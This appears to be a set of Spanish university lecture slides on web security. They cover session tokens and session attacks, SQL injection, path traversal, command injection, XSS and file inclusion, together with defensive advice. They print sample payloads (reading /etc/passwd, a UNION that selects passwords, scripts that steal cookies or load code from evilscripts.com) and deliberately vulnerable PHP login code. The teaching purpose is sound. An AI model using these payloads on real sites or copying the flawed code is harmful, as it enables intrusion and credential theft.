  • 8. El modelo de la web ● Esencialmente es sin estado – ¡¡Sin embargo se usa para tener sesiones de usuarios con contraseña !! ● Como se hacen sesiones en un sistema sin estado? – Cookies – otros tokens ● Se permite al servidor almacenar variables en el cliente Cliente Navegador Servidor Web php... ficheros DB js... motor dibujo HTML HTTP formularios
  • 10. Que puedo atacar? ● Vulnerabilidades del servidor web – Cada vez más complejos – Muy revisados por ser los programas más expuestos – Sus vulnerabilidades se corrigen rápidamente ● Vulnerabilidades del navegador – Programas muy complejos – Las vulnerabilidades duran más ● usuarios no siempre actualizan ● El código generando paginas – Muchas veces escrito de forma poco profesional – Normalmente input validation de muchos tipos
  • 11. Que puedo atacar? ● La autenticación y autorización – Ataques a los mecanismos de sesiones y autenticación ● El código en el cliente – Código inyectado al cliente ● desde otros sitios ● en el enlace ● Gusanos de javascript ● …
  • 13. Indice de ataque ● Seguridad en WWW – Seguridad en la autenticación – Seguridad en la autorización – Ataques de validación de entrada – Cross-site scripting
  • 15. Authorization ● Usando sesiones en un sistema pensado para ser “sin estado” – El usuario se autentifica en una pagina – a continuación navega por el sitio usando los privilegios ganados – El sistema debe recordar que se autentifico ● ¿Como se sabe que la petición esta relacionada con la autenticación inicial? – Estoy enviando la autenticación cada vez? ● en Basic y Digest: SI – El cliente consigue algo que puede presentar cada vez como prueba de autenticación ● token Cliente Navegador Servidor Web user: pass: GET login page POST u+p ok welcome [comprar] GET compra ok
  • 16. Sesiones ● 3 formas de mantener tokens y sesiones – Variables de URI ● Se genera un identificador de sesión aleatorio y en los enlaces de esa sesión se pasa como variable de GET – Variables de formularios ocultas (y formularios con POST) ● Se genera un identificador de sesión aleatorio y en las páginas de esa sesión se añade una variable oculta a los formularios – Cookies ● Permiten almacenar una variable en el cliente que la enviará de vuelta cada vez que pida una página de ese servidor http://miweb.com/compras/index.php?session_id=1263716221 <input type=HIDDEN name=session_id value=1263716221>
  • 17. Sesiones: ejemplo ● Tokens – Identifican la sesión a la que pertenece la petición ● Autorización – Procesa las peticiones de los tokens establecidos user+pass+sid=1001 Cliente Navegador Servidor Web user: pass: welcome [comprar] welcome [comprar] Cliente Navegador sid=1001 sid=1001 sin sid user: pass: sid=3106 sid=3106 producto+sid=1001 sid=1001 sin sid user: pass:
  • 18. Sesiones: ejemplo en PHP ● Pagina sencilla con autenticación ● Si la sesión ya existe la variable $dentro nos dice si el usuario ya ha demostrado su identidad o no ● Si vienen datos user, pass de un formulario podemos cambiar el valor de $dentro o bien apuntar que debemos dar error de intento no valido ● Si la sesión no existía se generara un id y se guardara en una cookie PHPSESSID <?php session_start(); $dentro=$_SESSION['dentro']; $user=$_POST['user']; $pass=$_POST['pass']; if ( isset($user) ) { if ( $user=="yo" and $pass=="pas" ) { $dentro=1; $_SESSION['dentro']=$dentro; } else { $wronglogin=1; } } ?>
  • 19. Sesiones: ejemplo en PHP ● El contenido de la página depende de las variables ● ¿Qué problemas tiene esta página? <?php if ( $dentro == 1 ) { ?> <h1>Pagina privada</h1> No deberias ver esto sin tener la contraseña ... <?php } else { ?> <?php if ( $wronglogin==1 ) { echo "<h1 style="color: red;">Error usuario o contraseña incorrecto</h1>"; } ?> <h2>Demuestre su identidad</h2> <form method=POST action=./index.php> User:<br><input type=text name=user><br> Password:<br><input type=password name=pass> <br> <input type=submit name=s value="Enter"> </form> <?php } ?>
  • 21. Sending cookies ● Al pedir la primera vez la página anterior ● Al pedirla otra vez GET /login.php HTTP/1.1 Host: www.unavarra.es [...] HTTP/1.x 200 OK Set­Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Content­Length: 414 Content­Type: text/html [...] POST /login.php HTTP/1.1 Host: www.unavarra.es Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9 Content­Type: application/x­www­form­urlencoded Content­Length: 28 user=minombre&pass=unapalabra HTTP/1.x 200 OK Content­Length: 481 Content­Type: text/html [...]
  • 22. Ataques a los tokens ● Pero la cookie que se envía esta bajo el control del usuario – Navegadores que dejan editarlas – Si envío la cookie de la sesión de otro usuario me convierto en ese usuario ● Ataques – Session prediction ● ¿Puedo predecir qué tokens se estarán usando? – Session hijack ● secuestro de sesión ● ¿Puedo robar un token a un usuario autentificado? ● Session fixation – ¿Puedo imponer un token a un usuario? ● ¿Para qué me vale?
  • 23. Ataques a los tokens ● Session prediction – Recoger gran cantidad de tokens – Análisis estadístico.. ● ¿se puede preveer información sobre los siguientes? – Fuerza bruta sobre los tokens más probables hasta encontrar uno que haya sido asignado a un usuario y se haya autentificado ● Session hijack (secuestro de sesión) – Puedo robar un token a un usuario autentificado? ● Multiples técnicas. Basadas en web o con técnicas de intrusión Servidor Web token=1001 token=1001
  • 24. Ataques a los tokens ● Session fixation – Puedo imponer un token a un usuario? – Si consigo que un usuario abra la sesión con el token que yo quiera... Servidor Web token=1001 token=1001 autentificacion con token=1001
  • 25. Consejos para programar webs seguras ● Usar SSL / HTTPS – Marcar cookies como seguras hace que solo se transmitan a través de conexiones HTTPS ● No programar tu sistema de tokens – Es muy fácil cometer errores de protocolo – usar los proporcionados por librerías seguras ● usar sesiones de PHP en lugar de hacerlas yo mismo ● Regenerar las sesiones con los cambios de privilegios – Para evitar session fixation
  • 27. Input validation contra Web ● Ataques básicos – Canonicalization ● Añadir ../ para bajar directorios en una variable que acabara siendo utilizada para calcular un path ● Uso de caracteres urlencoded %00 %0a para partir cadenas ● Ejemplo: ${nombre}.jpg puede transformarse en ../../../../../../../etc/passwd %00.jpg – Provocar errores con valores inesperados en campos ● Información en los mensajes de error ● Ejecución de comandos con | & ; ● Si los datos acaban formando parte de un comando a ejecutar – Ejemplo: añadir ; cat /etc/passwd – SQL injection
  • 29. SQL injection ● Ataque de validación de entrada típico – Lo que escribo como usuario y pass en el formulario acabara en variables y se usara para construir una query a la BBDD ● Que ocurre si el usuario escribe cosas de este tipo – Usuario: 1' or '1'='1 – Pass: 1' or '1'='1 SELECT * FROM login WHERE user='1' OR '1'='1' AND pass='1' OR '1'='1'; $user = $_POST['user']; $pass = $_POST['password']; SELECT * FROM login WHERE user='$user' AND pass='$pass';
  • 30. ● Buscando el usuario… ● Cuidado con los fallos de seguridad de este código… – Si usáis este cualquiera podrá entrar $login_usuario_ok=false; if ($entrada_login) { $consulta_usuario="select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass."""; $result_usuario=mysql_query($consulta_usuario); if ( $result_usuario==false ) { print("error al buscar usuario".mysql_error()."n"); exit(); } if (mysql_num_rows($result_usuario)>0) { $mi_info=mysql_fetch_assoc($result_usuario); $login_usuario_ok=true; print_r($mi_info); } } Ejemplo: chat.php
  • 31. ● Que pasa si ponemos un usuario como este? ● La consulta devuelve todos los usuarios !!! ● Que hace el código anterior si la consulta devuelve todos los usuarios? simplemente usa el primero !! usuario: xxx” or “1”=“1 pass: xxx” or “1”=“1 SQL injection “select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass."" select * from Personas where nombre="xxx” or “1”=“1" and pass="xxx” or “1”=“1"
  • 32. ● Si lo que llega del usuario se supone que tiene que ser texto sin “ ‘ o caracteres raros, asegurare de eliminarlos – Con str_replace o similares – Con funciones de mysql que quitan los caracteres peligrosos ● mysql_real_escape_string() Recuerda siempre $i_nombre = mysql_real_escape_string( $i_nombre );
  • 33. ● Lo mismo ocurre en los campos de entrada ● Cuidado si el atacante sabe mas SQL que tu :-) $recibiendo_userid=false; if ( isset( $_GET["i_userid"] ) ) { $recibiendo_userid=true; $i_userid=$_GET["i_userid"]; } … $consulta="select * from Mensajes, Personas where Mensajes.src_nia=Personas.nia and Mensajes.src_nia=".$i_userid; Mas inyección SQL i_userid=52403 i_userid=52403+(select+2>1) i_userid=52403+union+select+pass+from+users;
  • 34. ● Si lo que llega del usuario se supone que tiene que ser un número conviértelo a número – Aunque venga de un menu Recuerda siempre $i_userid = intval($i_userid);
  • 35. SQL injection ● Más variedades – Poner caracteres con significados para SQL como ' " -- ; – pueden llegar a romper la query y conseguir cosas – A veces sólo con producir errores que den información de la base de datos ya es algo – Técnicas más sofisticadas que obtienen información incluso aunque no salgan resultados de la query en la pagina ● Blind SQL injection
  • 37. HTML injection XSS ● Insertar código HTML en variables que no esperan HTML, causando que un atacante tenga control sobre el dibujo de una página ajena ● Una página que repite la información proporcionada en un campo puede ser vulnerable ● ¿Qué ocurre si ponemos código HTML?
  • 38. HTML injection XSS ● Probamos – <img src=”...”></img> ● El HTML no se elimina y llega de vuelta – Dominando HTML se pueden llegar a hacer muchas modificaciones – Incluyendo añadir secciones con posicionamiento vía CSS que oculten otras partes de la pagina original
  • 39. HTML injection XSS ● Pero es más peligroso si incluimos Javascript – <script>… document.cookie ...</script>
  • 40. HTML injection XSS ● Inyectar en un campo – <script>document.write(document.cookie)</script> – <script>alert(‘hola’)</script> – <script src=”http://evilscripts.com/do.js”></script> – Cualquier cosa que se pueda hacer con javascript puede hacerse en la página de otro ● Hasta ahora solo hemos visto como modificar una página de otro vista en tu navegador. – ¿Como se puede usar esto para hacer el mal?
  • 41. HTML injection XSS ● Si los datos que metemos en un formulario pueden pasarse por GET... ● http://www.unavarra.es/webmail.php?user=<script>... – Puedo construir una pagina que enlace a otra metiendo datos que la modifiquen (cross-site scripting) ● Y no hablamos ya de cuando ese HTML es persistente – Foros – Weblogs – Redes sociales ● Ampliamente usado para ataques a las cookies: – Hotmail – Gmail – facebook ● Usado robos de identidad – consiguiendo que la página de una entidad haga algo diferente – El usuario confia porque ve claramente que es su banco ● XSS cross site scripting – Se refiere a cuando cargamos el código javascript de otra pagina
  • 43. File inclusion ● Y si dejo a un usuario subir un fichero para que lo sirva el servidor? – Parecido al HTML mirroring… ● Es peligroso? – ¡¡¡Nunca dejar al usuario subir ficheros y que elija el nombre!!! – PHP inclusion – PhpShell !!!
  • 45. Conclusiones ● Validación de formularios con javascript es inutil – Se puede hacer por ayudar al usuario pero el servidor debe volver a validarlo ● No dar por supuesto nada sobre los datos de entrada – Expect the unexpected ● Limpiar con expresiones regulares ● Asegurarse de que solo hay lo que queremos
  • 46. Conclusiones ● Asegurarse de que solo hay lo que queremos
  • 47. Conclusiones ● Gran variedad de ataques contra la web – Contra la autenticación y autorización – Contra los servidores que alojan las páginas – Contra otros usuarios de los servidores ● Es el frente más atacado – es fundamental comprender en que se basan para poder defenderse